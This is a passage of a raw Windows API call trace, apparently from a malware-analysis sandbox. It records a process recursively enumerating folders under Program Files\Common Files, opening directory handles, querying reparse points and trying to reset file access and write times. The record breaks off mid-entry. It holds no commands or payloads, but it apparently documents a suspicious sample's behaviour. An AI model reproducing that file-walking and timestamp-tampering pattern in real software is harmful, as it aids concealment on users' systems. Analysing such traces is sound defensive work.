FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae460 | out: lpFindFileData=0x17ae460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0055.454] GetLastError () returned 0x12 [0055.454] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459d38 [0055.454] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.454] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae460 | out: lpFindFileData=0x17ae460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.454] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae460 | out: lpFindFileData=0x17ae460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0055.454] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae460 | out: lpFindFileData=0x17ae460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0055.454] GetLastError () returned 0x12 [0055.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06f58) returned 1 [0055.454] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf07060) returned 1 [0055.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06e50) returned 1 [0055.454] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0055.454] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0055.455] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0055.455] GetLastError () returned 0x12 [0055.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06c40) returned 1 [0055.455] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06d48) returned 1 [0055.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06b38) returned 1 [0055.455] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0055.455] GetLastError () returned 0x12 [0055.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06928) returned 1 [0055.455] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06a30) returned 1 [0055.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06820) returned 1 [0055.455] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0055.455] GetLastError () returned 0x12 [0055.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06508) returned 1 [0055.455] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06718) returned 1 [0055.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef160) returned 1 [0055.455] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 0 [0055.456] GetLastError () returned 0x12 [0055.456] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3f50) returned 1 [0055.456] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.456] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0055.456] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0055.456] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0055.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0055.456] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.456] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0055.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.456] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0055.457] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.457] NtClose (Handle=0x134) returned 0x0 [0055.457] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0055.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0055.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3f50 [0055.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.457] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459bb8 [0055.457] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.457] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0055.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.457] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.457] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04f80 [0055.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.457] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.457] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0055.457] GetLastError () returned 0x12 [0055.457] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459cb8 [0055.458] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.458] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.458] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0055.458] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0055.458] GetLastError () returned 0x12 [0055.458] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.458] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.458] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3f50) returned 1 [0055.458] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0055.458] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="")) returned 1 [0055.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0055.458] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines" (normalized: "c:\\program files\\common files\\speechengines"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines" (normalized: "c:\\program files\\common files\\speechengines"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.458] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0055.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.458] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0055.459] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.459] NtClose (Handle=0x178) returned 0x0 [0055.459] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0055.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0055.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3f50 [0055.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.459] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459cb8 [0055.459] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.459] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0055.459] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 0 [0055.459] GetLastError () returned 0x12 [0055.459] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459bb8 [0055.459] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.459] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.459] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0055.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.459] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" (normalized: "c:\\program files\\common files\\speechengines\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" (normalized: "c:\\program files\\common files\\speechengines\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.460] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.460] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.461] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.461] NtClose (Handle=0x178) returned 0x0 [0055.461] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.461] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cb8 [0055.461] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.461] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0055.461] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0055.461] GetLastError () returned 0x12 [0055.461] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0055.461] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.461] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 